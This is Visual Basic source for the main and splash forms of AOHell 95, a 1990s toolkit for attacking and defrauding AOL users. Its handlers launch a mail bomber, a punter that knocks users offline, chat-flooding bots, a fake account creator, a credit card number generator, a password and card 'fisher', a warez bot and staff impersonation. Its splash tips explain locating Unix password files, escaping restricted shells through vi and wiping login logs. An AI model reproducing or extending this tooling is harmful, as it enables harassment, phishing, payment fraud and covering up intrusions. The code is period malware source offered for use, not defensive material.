Sub Command3D18_Click ()

GoTo bege2
titsluck3:
  aolbot.Show
  Exit Sub

bege2:
      On Error GoTo titsluck3

aolbot.Show
AOHell.Hide
DoEvents

init1.Filename = "aohell.ini"
init1.Application = "Options"
init1.Parameter = "Sounds"
Dab = init1.Value

If Dab = "yes" Then

  ' SoundName$ = WD + "\ironman.wav"

   ' wFlags% = SND_ASYNC And SND_NODEFAULT
    'X% = sndPlaySound(SoundName$, wFlags%)

Else GoTo endall4

End If

endall4:
End Sub

Sub Command3D18_MouseMove (Button As Integer, Shift As Integer, X As Single, Y As Single)
dd.Caption = "Totally destroy a chat room with the Scrolling Bot!"

End Sub

Sub Command3D19_Click ()
suggestion.Show
init1.Filename = "aohell.ini"
init1.Application = "Options"
init1.Parameter = "ShowMenu"
Dab = init1.Value
If Dab = "yes" Then GoTo en7 Else AOHell.Hide

en7:

End Sub

Sub Command3D19_MouseMove (Button As Integer, Shift As Integer, X As Single, Y As Single)
dd.Caption = "Send your suggestions to us"

End Sub

Sub Command3D2_Click ()
'MsgBox "This button is reserved for the Warez Bot, which will be a feature in a future AOHell v3.x beta release.  It will let you send and receive warez automatically, without you doing anything.  Much like XDCC on IRC", 16, "Coming Soon!"

GoTo stw

Errstw:
Exit Sub

stw:
On Error GoTo Errstw

If SignStatus = 0 Then
MsgBox "You must be signed on to AOL before you can use this feature!", 16, "Not Signed On!"
Exit Sub
End If

   WarezBot.Show
   AOHell.Hide

End Sub

Sub Command3D2_MouseMove (Button As Integer, Shift As Integer, X As Single, Y As Single)
dd.Caption = "Warez Bot - Offer Packs/Automated MM Lister"

End Sub

Sub Command3D20_Click ()
elite1.Show
init1.Filename = "aohell.ini"
init1.Application = "Options"
init1.Parameter = "ShowMenu"
Dab = init1.Value
If Dab = "yes" Then GoTo en16 Else AOHell.Hide
en16:

End Sub

Sub Command3D20_MouseMove (Button As Integer, Shift As Integer, X As Single, Y As Single)
dd.Caption = "Change what you type into kewl letters"
End Sub

Sub Command3D21_Click ()
ebomb.Show

init1.Filename = "aohell.ini"
init1.Application = "Options"
init1.Parameter = "ShowMenu"
Dab = init1.Value
If Dab = "yes" Then GoTo en119 Else AOHell.Hide
en119:

End Sub

Sub Command3D21_MouseMove (Button As Integer, Shift As Integer, X As Single, Y As Single)
dd.Caption = "Destroy someone's Email box"

End Sub

Sub Command3D22_Click ()
   PopupMenu IMs

End Sub

Sub Command3D22_MouseMove (Button As Integer, Shift As Integer, X As Single, Y As Single)
dd.Caption = "IM Manager - Have AOHell Auto-answer IMs, and more!"

End Sub

Sub Command3D23_Click ()
GoTo AccountBeg

AccountErr:
MsgBox "ACCOUNT.EXE not found in the AOH directory!  Cannot load the AOHell Fake Account Creator.", 16, "Cannot Load"
Exit Sub

AccountBeg:
On Error GoTo AccountErr

AccountPATH = App.Path + "\account.exe"
X = Shell(AccountPATH, 1)

init1.Filename = "aohell.ini"
init1.Application = "Options"
init1.Parameter = "ShowMenu"
Dab = init1.Value
If Dab = "yes" Then GoTo en27 Else AOHell.Hide

en27:

End Sub

Sub Command3D23_MouseMove (Button As Integer, Shift As Integer, X As Single, Y As Single)
 dd.Caption = "AOH Fake Account Creator -- Create accounts in seconds"

End Sub

Sub Command3D24_Click ()
'If SignStatus = 0 Then
'MsgBox "You must be signed on to AOL before you can use this feature!", 16, "Not Signed On!"
'Exit Sub
'End If

GoTo Beg9

Err9:
Exit Sub

Beg9:
On Error GoTo Err9

AIBot.Show
DoEvents
AIBot.Timer2.Enabled = False
AOHell.Hide

End Sub

Sub Command3D24_MouseMove (Button As Integer, Shift As Integer, X As Single, Y As Single)
dd.Caption = "Artificial Intelligence Chat Room Bot"

End Sub

Sub Command3D25_Click ()

GoTo Boob2:

Boob3:
Resume Boob4

Boob2:

On Error GoTo Boob3

    Dim WD1 As String * 128  'win directory, because of DLL's return
    Dim WSD1 As String * 128 'system directory, because of DLL's return
    nWSize% = 128
    nSSize% = 128

    Wdir% = GetWindowsDirectory(WD1$, nWSize%)'windir
    Sdir% = GetSystemDirectory(WSD1$, nSSize%)'systemdir
    WD$ = RTrim$(LCase$(Left$(WD1$, Wdir%)))
    WSD$ = RTrim$(LCase$(Left$(WSD1$, Sdir%)))

init1.Filename = "aohell.ini"
init1.Application = "Options"
init1.Parameter = "Sounds"

 If init1.Value = "yes" Then

   SoundName$ = WD$ + "\chron2.wav"
   wFlags% = SND_ASYNC And SND_NODEFAULT
   X% = sndPlaySound(SoundName$, wFlags%)
 End If

Boob4:

Form5.Show
AOHell.Hide

End Sub

Sub Command3D25_MouseMove (Button As Integer, Shift As Integer, X As Single, Y As Single)
dd.Caption = "Credits and Greetings"

End Sub

Sub Command3D26_Click ()
AOHell.Hide
resetsn.Show

End Sub

Sub Command3D26_MouseMove (Button As Integer, Shift As Integer, X As Single, Y As Single)
dd.Caption = "Reset your AOL software to New User"

End Sub

Sub Command3D27_Click ()
GoTo harbar

heho:
Exit Sub

harbar:
On Error GoTo heho

If SignStatus = 0 Then
MsgBox "You must be signed on to AOL before you can use this feature!", 16, "Oops"
Exit Sub
End If

MultiChat.Show
DoEvents
Call Pause(2)
AOL% = FindWindow(0, "America  Online")
z = ShowWindow(AOL%, 2)
'MultiChat.Show
AOHell.Hide

End Sub

Sub Command3D27_MouseMove (Button As Integer, Shift As Integer, X As Single, Y As Single)
dd.Caption = "Multi-Task Chat -- Talk in the chat room anywhere in Windows."
End Sub

Sub Command3D28_Click ()
If SignStatus = 0 Then
MsgBox "You must be signed on to AOL before you can use this feature!", 16, "Not Signed On!"
Exit Sub
End If

 GoTo Freb

ErrFreb:
Exit Sub

Freb:
On Error GoTo ErrFreb

  thiswin% = FindWindow(0, "America  Online")

   SendHand1 = VBEnumChildWindows(thiswin%, -1)
   For X = 1 To SendHand1
    rb = VBEnumChildWindows(thiswin%, X)
    z = ShowWindow(rb, 4)

   Next X

End Sub

Sub Command3D28_MouseMove (Button As Integer, Shift As Integer, X As Single, Y As Single)
dd.Caption = "Show all PAY windows in a FREE area!"

End Sub

Sub Command3D29_Click ()
MsgBox "Open the Mailbox you want AOHell to count (i.e. ""New Mail""), and wait for hour glass to go away.  Then hit the OK button to this message."

thiswin% = FindWindow(0, "America  Online")
PeopleList = FindChildByClass(thiswin%, "_AOL_Tree")

X = SendMessage(PeopleList, LB_GETCOUNT, 0, 0)
	  MsgBox "You have" + Str(X) + " messages in your box."

End Sub

Sub Command3D29_MouseMove (Button As Integer, Shift As Integer, X As Single, Y As Single)
dd.Caption = "Counts all the mails in your box, Insantly!"

End Sub

Sub Command3D3_Click ()
RESETSN2.Show
init1.Filename = "aohell.ini"
init1.Application = "Options"
init1.Parameter = "ShowMenu"
Dab = init1.Value
If Dab = "yes" Then GoTo en11 Else AOHell.Hide

en11:

End Sub

Sub Command3D3_MouseMove (Button As Integer, Shift As Integer, X As Single, Y As Single)
dd.Caption = "Guest Fix - Use the Download Manager on a Guest Account!"

End Sub

Sub Command3D30_Click ()
If SignStatus = 0 Then
MsgBox "You must be signed on to AOL before you can use this feature!", 16, "Not Signed On!"
Exit Sub
End If

  Text1.Text = ""
thiswin% = FindWindow(0, "America  Online")
PeopleList = FindChildByClass(thiswin%, "_AOL_Listbox")

X = SendMessage(PeopleList, LB_GETCOUNT, 0, 0)
	Cur = 0
 AppActivate "America  Online"
 DoEvents
 Call Pause(1)
		  MBox = FindWindow(0, "America Online")
		  If MBox <> 0 Then
		  DoEvents
		  SendKeys "{ENTER}"
		  DoEvents
		  End If
	   ' ForwardHand = VBEnumChildWindows(MDIClient1, 1)
	 MDIClient1 = FindChildByClass(thiswin%, "MDIClient")

For Y = 1 To X

SetCur = SendMessage(PeopleList, LB_SETCURSEL, Cur, 0)
Cur = Y
 VBMsg1.SubClasshWnd = PeopleList
 VBMsg1.SendMessage = WM_LBUTTONDBLCLK
 DoEvents
 Call Pause(.01)

 UserNam = VBEnumChildWindows(MDIClient1, 1)
lint = 10000
lpstring = Space(10000)

z = SendMessageByString(UserNam, WM_GETTEXT, lint, lpstring) ',lint
 lpstring = Trim$(lpstring)
 Text1.Text = Text1.Text + ", " + lpstring
Leng = Len(DaSting)

Next Y
  cbt = Text1.Text
  cbt = Mid$(cbt, 3)
  cbt1 = InStr(1, cbt, ScreenName)
  If cbt1 > 0 Then
      fob = Len(ScreenName)
      fob = fob + 2
      gog1 = cbt1 + fob
      chank1 = cbt1
      chank2 = Mid$(cbt, 1, chank1)
      chank3 = Mid$(cbt, gog1)
      Text1.Text = chank2 + chank3

SendKeys "%MC"
DoEvents
Call Pause(1.5)
	ComposeHand = FindChildByTitle(thiswin%, "Compose Mail")
	SendButton2 = VBEnumChildWindows(ComposeHand, 2)
	ToField = VBEnumChildWindows(ComposeHand, 10)
	SubField = VBEnumChildWindows(ComposeHand, 14)
	MsgField = VBEnumChildWindows(ComposeHand, 17)

lint = 20000
lpstring = Text1.Text

ToText = SendMessageByString(ToField, WM_SETTEXT, lint, lpstring) ',lint

  End If

End Sub

Sub Command3D30_MouseMove (Button As Integer, Shift As Integer, X As Single, Y As Single)
dd.Caption = "Mail everyone in the Room."

End Sub

Sub Command3D31_Click ()
AOHell.Hide
AppActivate "America  Online"
DoEvents

AOL% = FindWindow(0, "America  Online")

ab = GetMenu(AOL%)

For T = 1 To 10

d = RemoveMenu(ab, 6, MF_BYPOSITION)
DoEvents
Next T
 Call DrawMenuBar(AOL%)
DoEvents

init1.Filename = "aohell.ini"
init1.Application = "Options"
init1.Parameter = "ShowMenu"
Dab = init1.Value
If Dab = "yes" Then GoTo en52 Else AOHell.Hide

en52:
MenuThere = 0

End Sub

Sub Command3D31_MouseMove (Button As Integer, Shift As Integer, X As Single, Y As Single)
dd.Caption = "Remove AOHell from AOLs Menu"

End Sub

Sub Command3D32_Click ()
If Not MenuThere = 1 Then
AOHell.Hide
 AppActivate "America  Online"
 DoEvents

AOL% = FindWindow(0, "America  Online")
ab1 = GetMenu(AOL%)

For T = 1 To 10

D1 = RemoveMenu(ab1, 6, MF_BYPOSITION)
 Call DrawMenuBar(AOL%)
DoEvents
Next T

 Call DrawMenuBar(AOL%)
DoEvents

DoEvents
i = CreateMenu()
  C = AppendMenu(i, 0, 601, "&About AOHell 95")
  C = AppendMenu(i, 0, 602, "Is it &Chronic?")
  C = AppendMenu(i, 0, 603, "&Bug Report")
  C = AppendMenu(i, 0, 604, "The &Encrypter")
  C = AppendMenu(i, 0, 605, "Elite &Talker")
  C = AppendMenu(i, 0, 606, "&Get Cursor")
  C = AppendMenu(i, 0, 607, "CD &Player")
  C = AppendMenu(i, 0, 608, "Credit &Wizard v1.1")
  C = AppendMenu(i, 0, 628, "&Account Creator v1.0")
  C = AppendMenu(i, 0, 609, "&Quick FTP")
  C = AppendMenu(i, 0, 610, "G&uest Fix")
  C = AppendMenu(i, 0, 611, "Bust &In a Room")
  C = AppendMenu(i, 0, 612, "G&host Tools")
  C = AppendMenu(i, 0, 613, "S&uggestion")
  C = AppendMenu(i, 0, 614, "PW/CC &Fisher")
  C = AppendMenu(i, 0, 615, "AOHell &Options")
  C = AppendMenu(i, 0, 616, "Reset &New User")
  C = AppendMenu(i, 0, 617, "MT Chat &Room")
  C = AppendMenu(i, 0, 641, "&Internet Relay Chat")
  C = AppendMenu(i, 0, 618, "&Show All Windows")
  C = AppendMenu(i, 0, 627, "E&xit AOHell 95")

  AOL% = FindWindow(0, "America  Online")
ab = GetMenu(AOL%)
  TheMenu = ab
' y = AppendMenu(ab, 0, 600, "-==AOHell==-")
 X = AppendMenu(ab, MF_POPUP, i, "-==&AOHell 95==-")
 Call DrawMenuBar(AOL%)
DoEvents
j = CreateMenu()
  d = AppendMenu(j, 0, 619, "The &Warez Bot")
  d = AppendMenu(j, 0, 620, "The &AI Bot")
  d = AppendMenu(j, 0, 621, "The &Scrolling Bot")
 B = AppendMenu(ab, MF_POPUP, j, "&Bots")
Call DrawMenuBar(AOL%)
DoEvents
k = CreateMenu()
  e = AppendMenu(k, 0, 622, "&Mass Mailer")
  e = AppendMenu(k, 0, 623, "Mail the &Room")
  e = AppendMenu(k, 0, 624, "&Count Mail")
 ' e = AppendMenu(k, MF_SEPARATOR, 0, "-")
  e = AppendMenu(k, 0, 625, "Mail &Bomber")
  e = AppendMenu(k, 0, 626, "Fa&ke Forward")
  e = AppendMenu(k, 0, 629, "&Fix Your Mail")
 C = AppendMenu(ab, MF_POPUP, k, "Mail &Utils")
Call DrawMenuBar(AOL%)
DoEvents
l = CreateMenu()
  h = AppendMenu(l, 0, 630, "&IM Manager")
  h = AppendMenu(l, 0, 631, "&IM the &Room")
'  h = AppendMenu(l, MF_SEPARATOR, 0, "-")
  h = AppendMenu(l, 0, 632, "Turn IMs &Off")
  h = AppendMenu(l, 0, 633, "Turn IMs O&n")
 d = AppendMenu(ab, MF_POPUP, l, "&IMs")
Call DrawMenuBar(AOL%)
DoEvents
m = CreateMenu()
 o = AppendMenu(m, 0, 634, "&Insult Macros")
 o = AppendMenu(m, 0, 635, "&Drive Hell")
 o = AppendMenu(m, 0, 636, "&Shoot Someone")
 o = AppendMenu(m, 0, 637, "The &Dice Scroller")
' o = AppendMenu(m, MF_SEPARATOR, 0, "-")
 o = AppendMenu(m, 0, 638, "Middle &Finger Macro")
 o = AppendMenu(m, 0, 639, "Flame &Thrower Macro")
 o = AppendMenu(m, 0, 640, "&Be Right Back Macro")
Q = AppendMenu(ab, MF_POPUP, m, "A&nnoy Options")
Call DrawMenuBar(AOL%)
DoEvents
  MenuThere = 1
End If
 Call DrawMenuBar(AOL%)
DoEvents

End Sub

Sub Command3D32_MouseMove (Button As Integer, Shift As Integer, X As Single, Y As Single)
dd.Caption = "Add AOHells Menu to AOLs Menu"

End Sub

Sub Command3D33_Click ()
If SignStatus = 0 Then
MsgBox "You must be signed on to AOL before you can use this feature!", 16, "Oops"
Exit Sub
End If

GoTo mIRCBeg

mterr:
Resume bar1

mIRCErr:
MsgBox "MIRC.EXE not found in the AOH\MIRC directory!  Cannot start IRC.", 16, "Cannot Load IRC"
Exit Sub

mIRCBeg:
On Error GoTo mIRCErr

Response = MsgBox("Would you like to start the Multi-Task Chat Room so you can talk on AOL and IRC at the same time?", 292, "Start Multi-Task Chat Room?")
'Possible Response values: 6--YES, 7--NO.
If Response = 6 Then
 On Error GoTo mterr:
MultiChat.Show
DoEvents
DoEvents
Call Pause(2)
AOL% = FindWindow(0, "America  Online")
z = ShowWindow(AOL%, 2)

End If

bar1:
 DoEvents

mIRCPATH = App.Path + "\mirc.exe"
X = Shell(mIRCPATH, 1)
'MsgBox mIRCPATH
init1.Filename = "aohell.ini"
init1.Application = "Options"
init1.Parameter = "ShowMenu"
Dab = init1.Value
If Dab = "yes" Then GoTo enmIRC Else AOHell.Hide

enmIRC:

End Sub

Sub Command3D33_MouseMove (Button As Integer, Shift As Integer, X As Single, Y As Single)
dd.Caption = "Internet Relay Chat (requires AOL 2.5 or higher)"

End Sub

Sub Command3D34_Click ()
If SignStatus = 0 Then
MsgBox "You must be signed on to AOL before you can use this feature!", 16, "Oops"
Exit Sub
End If

    TempName1 = ScreenName
C1 = "D"

thiswin% = FindWindow(0, "America  Online")
  find14% = FindChildByTitle(thiswin%, "Welcome,")
    DoEvents

lint = 50
C2 = "C"

lpstring = "Welcome, Guide " + C1 + C2 + "!"

X = SendMessageByString(find14%, WM_SETTEXT, lint, lpstring) ',lint
	DoEvents

GoTo IVYBeg

IVYErr:
MsgBox "Error - Cannot run Guide software!  Sign off, then back on, restart AOHell, and try again!", 16, "Cannot Start Guide Software"
Exit Sub

IVYBeg:
    Dim WD1 As String * 128 'win directory, because of DLL's return
    Dim WSD1 As String * 128    'system directory, because of DLL's return
    nWSize% = 128
    nSSize% = 128

    Wdir% = GetWindowsDirectory(WD1$, nWSize%)  'windir
    Sdir% = GetSystemDirectory(WSD1$, nSSize%)  'systemdir
    WD$ = RTrim$(LCase$(Left$(WD1$, Wdir%)))
    WSD$ = RTrim$(LCase$(Left$(WSD1$, Sdir%)))

IVYPATH = WD$ + "\WINFILE1.EXE"
X = Shell(IVYPATH, 1)
'MsgBox mIRCPATH
thiswin2% = FindWindow(0, "IVY Macros")
While thiswin2% = 0
DoEvents
thiswin2% = FindWindow(0, "IVY Macros")
DoEvents
Wend
DoEvents
DoEvents
Call Pause(3)
DoEvents
DoEvents
Call Pause(3)
DoEvents
DoEvents
Call Pause(3)
DoEvents
Call Pause(1)

lpstring = "Welcome, " + TempName1 + "!"

X = SendMessageByString(find14%, WM_SETTEXT, lint, lpstring) ',lint

init1.Filename = "aohell.ini"
init1.Application = "Options"
init1.Parameter = "ShowMenu"
Dab = init1.Value
If Dab = "yes" Then GoTo endIVY Else AOHell.Hide

endIVY:

End Sub

Sub Command3D34_MouseMove (Button As Integer, Shift As Integer, X As Single, Y As Single)
dd.Caption = "The REAL Guide software - IVY Macros"

End Sub

Sub Command3D35_Click ()
GoTo GathBeg

GathErr:
Exit Sub

GathBeg:
On Error GoTo GathErr

MsgBox "Open your New Mail and wait for hourglass to go away.  Then hit the OK button to this message."

      thiswin% = FindWindow(0, "America  Online")
      ListHand = FindChildByClass(thiswin%, "_AOL_Tree")

  T = SendMessage(ListHand, LB_GETCOUNT, 0, 0)

Cur = 0
      ret = Chr$(13) + Chr$(10)

For Y = 1 To T
 'SetCur = SendMessage(ListHand, LB_SETCURSEL, Cur, 0)
z = SendMessage(ListHand, LB_GETTEXTLEN, Cur, 0)
lpstring = Space(z)
X = SendMessageByString(ListHand, LB_GETTEXT, Cur, lpstring) ',lint
lpstring = Trim$(lpstring)
TheString = TheString + ret + lpstring
Cur = Y
Next Y
Clipboard.SetText TheString
DoEvents
AppActivate "America  Online"
DoEvents
SendKeys Chr$(14)
DoEvents
Call Pause(.2)
SendKeys Chr$(22)

End Sub

Sub Command3D35_MouseMove (Button As Integer, Shift As Integer, X As Single, Y As Single)
dd.Caption = "Instantly make a list of all the mail in your box"

End Sub

Sub Command3D36_Click ()
Punt.Show
AOHell.Hide

End Sub

Sub Command3D36_MouseMove (Button As Integer, Shift As Integer, X As Single, Y As Single)
dd.Caption = "Punt someone offline"

End Sub

Sub Command3D37_Click ()
AOHell.Hide

LT2 = DupeKiller(IsDil)

End Sub

Sub Command3D37_MouseMove (Button As Integer, Shift As Integer, X As Single, Y As Single)
dd.Caption = "Dupelicate Warez Killer"

End Sub

Sub Command3D38_Click ()
    AOHell.Hide

    AOL% = FindWindow(0, "America  Online")
    ab1 = GetMenu(AOL%)
	AOLMenu = ab1

    DoEvents
    f = CreateMenu()
    C = SetMenu(AOL%, f)

    Call DrawMenuBar(AOL%)

End Sub

Sub Command3D38_MouseMove (Button As Integer, Shift As Integer, X As Single, Y As Single)
dd.Caption = "Hide AOLs menu to give you more space"

End Sub

Sub Command3D39_Click ()
    AOHell.Hide
    AOL% = FindWindow(0, "America  Online")
    C = SetMenu(AOL%, AOLMenu)
    Call DrawMenuBar(AOL%)

End Sub

Sub Command3D39_MouseMove (Button As Integer, Shift As Integer, X As Single, Y As Single)
dd.Caption = "Unhide AOLs menu"

End Sub

Sub Command3D4_Click ()
form13.Show
init1.Filename = "aohell.ini"
init1.Application = "Options"
init1.Parameter = "ShowMenu"
Dab = init1.Value
If Dab = "yes" Then GoTo en17 Else AOHell.Hide
en17:

End Sub

Sub Command3D4_MouseMove (Button As Integer, Shift As Integer, X As Single, Y As Single)
dd.Caption = "AOHell's text encrypter/decrypter with password protection"

End Sub

Sub Command3D5_Click ()
If SignStatus = 0 Then
MsgBox "You must be signed on to AOL before you can use this feature!", 16, "Not Signed On!"
Exit Sub
End If
IsChron.Show

End Sub

Sub Command3D5_MouseMove (Button As Integer, Shift As Integer, X As Single, Y As Single)
dd.Caption = "Is that the real Chronic or a poser?  Find out!"

End Sub

Sub Command3D6_Click ()
QuickFTP.Show
init1.Filename = "aohell.ini"
init1.Application = "Options"
init1.Parameter = "ShowMenu"
Dab = init1.Value

If Dab = "yes" Then GoTo en2 Else AOHell.Hide

en2:

End Sub

Sub Command3D6_MouseMove (Button As Integer, Shift As Integer, X As Single, Y As Single)
dd.Caption = "Connect to FTP sites fast!"

End Sub

Sub Command3D7_Click ()
GoTo stw1

Errstw1:
Exit Sub

stw1:
On Error GoTo Errstw1:

mm2.Show
init1.Filename = "aohell.ini"
init1.Application = "Options"
init1.Parameter = "ShowMenu"
Dab = init1.Value
If Dab = "yes" Then GoTo en10 Else AOHell.Hide

en10:

End Sub

Sub Command3D7_MouseMove (Button As Integer, Shift As Integer, X As Single, Y As Single)
dd.Caption = "Forward all your mail to other people"

End Sub

Sub Command3D8_Click ()
fakeforward.Show
init1.Filename = "aohell.ini"
init1.Application = "Options"
init1.Parameter = "ShowMenu"
Dab = init1.Value

If Dab = "yes" Then GoTo en5 Else AOHell.Hide

en5:

End Sub

Sub Command3D8_MouseMove (Button As Integer, Shift As Integer, X As Single, Y As Single)
dd.Caption = "Fake Foward - make it look like someone mailed you something"

End Sub

Sub Command3D9_Click ()
GoTo CreditBeg

crediterr:
MsgBox "CRDTWIZ.EXE not found in the AOH directory!  Cannot load Credit Wizard.", 16, "Cannot Load CW"
Exit Sub

CreditBeg:
On Error GoTo crediterr

CreditPATH = App.Path + "\crdtwiz.exe"
X = Shell(CreditPATH, 1)

init1.Filename = "aohell.ini"
init1.Application = "Options"
init1.Parameter = "ShowMenu"
Dab = init1.Value
If Dab = "yes" Then GoTo en14 Else AOHell.Hide

en14:

End Sub

Sub Command3D9_MouseMove (Button As Integer, Shift As Integer, X As Single, Y As Single)
dd.Caption = "Chronic and Rizzer's Credit Wizard CC # generator"

End Sub

Sub dd_DblClick ()
AOHell.Height = 1125
AOHell.ScaleHeight = 1.27

dd.Visible = False
End Sub

Sub dd_MouseMove (Button As Integer, Shift As Integer, X As Single, Y As Single)
dd.Caption = "Double Click to get rid of me"

End Sub

Sub Form_DblClick ()
dd.Visible = True
AOHell.Height = 1470

End Sub

Sub Form_KeyDown (KeyCode As Integer, Shift As Integer)
If KeyCode = KEY_F3 Then
IsChron.Show
End If

End Sub

Sub Form_Load ()
Dim Success As Integer

Success% = SetWindowPos%(AOHell.hWnd, HWND_TOPMOST, 0, 0, 0, 0, FLAGS)

A = "a"
B = "b"
C = "c"
d = "d"
e = "e"
f = "f"
G = "g"
h = "h"
i = "i"
j = "j"
k = "k"
l = "l"
m = "m"
N = "n"
o = "o"
P = "p"
Q = "q"
R = "r"
S = "s"
T = "t"
U = "u"
V = "v"
W = "w"
X = "x"
Y = "y"
z = "z"
SP = " "
CA = "A"
CB = "B"
CC = "C"
CD = "D"
CE = "E"
CF = "F"
CG = "G"
CH = "H"
CI = "I"
CJ = "J"
CK = "K"
CL = "L"
CM = "M"
CN = "N"
CO = "O"
CP = "P"
CQ = "Q"
CR = "R"
CS = "S"
CT = "T"
CU = "U"
CV = "V"
CW = "W"
CX = "X"
CY = "Y"
CZ = "Z"

   cryptname = CA + CO + CH + e + l + l + SP + "95" + SP + V + "3.0" + SP + "By:" + SP + CD + A + SP + CC + h + R + o + N + i + C '+ SP + A + N + D + SP + CT + H + E + SP + CR + I + Z + Z + E + R

Panel3D3.Caption = cryptname

DoEvents

End Sub

Sub Form_Resize ()
Dim Success As Integer

Success% = SetWindowPos%(AOHell.hWnd, HWND_TOPMOST, 0, 0, 0, 0, FLAGS)

End Sub

Sub Ghost_Click ()

  AppActivate "America  Online"

	Clipboard.SetText " " + Chr$(13) + " " + Chr$(13) + " " + Chr$(13) + " " + Chr$(13) + " " + Chr$(13) + " " + Chr$(13) + " " + Chr$(13) + " " + Chr$(13) + " " + Chr$(13) + " " + Chr$(13) + " " + Chr$(13) + " " + Chr$(13) + " " + Chr$(13) + " " + Chr$(13) + " " + Chr$(13) + " " + Chr$(13)

	  DoEvents
	SendKeys "%EP"
	SendKeys "%EP"
	aaadd = DoEvents()

	dd = DoEvents()
	SendKeys "{Tab}+{Enter}"

End Sub

Sub Image1_Click ()
Form5.Show
End Sub

Sub Macro_Click ()

End Sub

Sub mnuAb_Click ()
Form5.Show
End Sub

Sub mnuaohd_Click ()
dice.Show
End Sub

Sub mnuAOHEx_Click ()
Response = MsgBox("Are you sure you want to exit AOHell?", 36, "Exit AOHell")
'Possible Response values: 6--YES, 7--NO.
If Response = 6 Then End

If Response = 7 Then AOHell.Show

End Sub

Sub mnuAOHG_Click ()

End Sub

Sub mnuAOHgc_Click ()
SendKeys "%{TAB}%{TAB}%{F4}{F3 60}{TAB} ", True

End Sub

Sub mnuAOHMac_Click ()

End Sub

Sub mnuAOHMB_Click ()
ebomb.Show
End Sub

Sub mnuaohmf_Click ()
'Mailfix.Show
End Sub

Sub mnuaohmm_Click ()
mm2.Show
End Sub

Sub mnuaohp_Click ()
'Punt.Show
End Sub

Sub mnuAOHs_Click ()
form3.Show
End Sub

Sub mnuAOHT_Click ()

End Sub

Sub mnuComeS_Click ()

End Sub

Sub mnuIMan_Click ()
If SignStatus = 0 Then
MsgBox "You must be signed on to AOL before you can use this feature!", 16, "Not Signed On!"
Exit Sub
End If

IManager.Show

init1.Filename = "aohell.ini"
init1.Application = "Options"
init1.Parameter = "ShowMenu"
Dab = init1.Value

If Dab = "yes" Then GoTo en26 Else AOHell.Hide

en26:

End Sub

Sub mnuIn_Click ()

End Sub

Sub mnuRoom_Click ()
If SignStatus = 0 Then
MsgBox "You must be signed on to AOL before you can use this feature!", 16, "Not Signed On!"
Exit Sub
End If

IMRoom.Show

init1.Filename = "aohell.ini"
init1.Application = "Options"
init1.Parameter = "ShowMenu"
Dab = init1.Value

If Dab = "yes" Then GoTo en25 Else AOHell.Hide

en25:

End Sub

Sub Music_Click ()
'elite1.Show
End Sub

Sub Stat_DblClick ()
dd.Visible = False
DoEvents
AOHell.Height = 1095
AOHell.ScaleHeight = 1.217
DoEvents
End Sub

Sub Stat_MouseMove (Button As Integer, Shift As Integer, X As Single, Y As Single)
dd.Caption = "Double Click to lose info bar."
End Sub

Sub TextManip_Click ()

End Sub

Sub Timer1_Timer ()
     P = Str(Time)
     P1 = Mid$(P, 1, 2)
     Dob = InStr(P1, ":")
     If Dob > 0 Then
     Panel3D1.Caption = Time
     Exit Sub
     End If
     P1 = Int(P1)
     If P1 >= 13 Then P1 = P1 - 12
     P2 = Mid$(P, 3)
     P3 = Str(P1) + P2

   Panel3D1.Caption = P3

End Sub

Sub Command1_Click ()
    Dim WD1 As String * 128  'win directory, because of DLL's return
    Dim WSD1 As String * 128 'system directory, because of DLL's return
    nWSize% = 128
    nSSize% = 128

    Wdir% = GetWindowsDirectory(WD1$, nWSize%)'windir
    Sdir% = GetSystemDirectory(WSD1$, nSSize%)'systemdir
    WD$ = RTrim$(LCase$(Left$(WD1$, Wdir%)))
    WSD$ = RTrim$(LCase$(Left$(WSD1$, Sdir%)))

GoTo vaba1

vabaerr:
main.Show
Unload Me
Exit Sub

vaba1:
On Error GoTo vabaerr

If crapocrap = 1 Then Exit Sub

init1.Filename = "aohell.ini"
init1.Application = "Options"
init1.Parameter = "AutoLoad"
Dab3 = init1.Value

If Dab3 = "yes" Then

init1.Filename = "aohell.ini"
init1.Application = "Options"
init1.Parameter = "WAOL"
Dab4 = init1.Value

X = Shell(Dab4, 1)

init1.Filename = "aohell.ini"
init1.Application = "Options"
init1.Parameter = "Sounds"
Dab5 = init1.Value
 If Dab5 = "yes" Then

   main.Show

   SoundName$ = WD$ + "\chronic.wav"
   wFlags% = SND_ASYNC And SND_NODEFAULT
   Y% = sndPlaySound(SoundName$, wFlags%)

    DoEvents
    Unload Me
   Else
   main.Show
   DoEvents
   Unload Me
   End If

Else
Call Pause(2)
init1.Filename = "aohell.ini"
init1.Application = "Options"
init1.Parameter = "Sounds"
Dab6 = init1.Value
    If Dab6 = "yes" Then
    main.Show
   SoundName$ = WD$ + "\chronic.wav"
   wFlags% = SND_ASYNC And SND_NODEFAULT
   Z% = sndPlaySound(SoundName$, wFlags%)

    DoEvents
    Unload Me
    Else

   main.Show
   DoEvents
   Unload Me
  End If

End If

   crapocrap = 1

End Sub

Sub Form_Activate ()
DoEvents
DoEvents
DoEvents
Call Pause(1)
DoEvents
DoEvents
DoEvents
Call Command1_Click
DoEvents

End Sub

Sub Form_Load ()
Randomize

Form6.MousePointer = 11

Dim Success As Integer

Success% = SetWindowPos%(Form6.hWnd, HWND_TOPMOST, 0, 0, 0, 0, FLAGS)

Move (Screen.Width - Width) \ 2, (Screen.Height - Height) \ 2
upperbound = 35
lowerbound = 1

RandomChoice = Int((upperbound - lowerbound + 1) * Rnd + lowerbound)

If RandomChoice = 1 Then Label1.Caption = "Standard Unix password files are kept in the directory /etc/passwd.  On a Unix system with eitehr NIS/yp or password shadowing, much of the password data may be elsewhere."
If RandomChoice = 2 Then Label1.Caption = "The best cracking program for Unix passwords is currently Crack by Alec Muffett.  For PC-DOS, the best package to use is currently CrackerJack."
If RandomChoice = 3 Then Label1.Caption = "Password shadowing is a security system where the encrypted password field of /etc/password is replaced with a special token and the encrypted password is stored in a seperate file which is not readable by normal users."
If RandomChoice = 4 Then Label1.Caption = "Under VMS, the password file is SYS$SYSTEM:SYSUAF.DAT.  Unlike Unix, most users do not have access to read the password file.  To crack this file, you need to write a prgoram that uses the SYS$GETUAF functions to compare the results of encrypted words against the encrypted data in SYSUAF.DAT."
If RandomChoice = 5 Then Label1.Caption = "On poorly implemented restricted shells, you can break out of the restricted environment by running a program that features a shell function.  A good example is vi.  Run vi and use this command: "":set shell=/bin/sh"" then shell using this command: "":shell"""
If RandomChoice = 6 Then Label1.Caption = "You can erase your presence from the system logs in Unix by editing /etc/utmp, /usr/adm/wtmp, and /usr/adm/lastlog.  These are not text files that can be edited by hand with vi, you must use a program specifically written for this purpose."
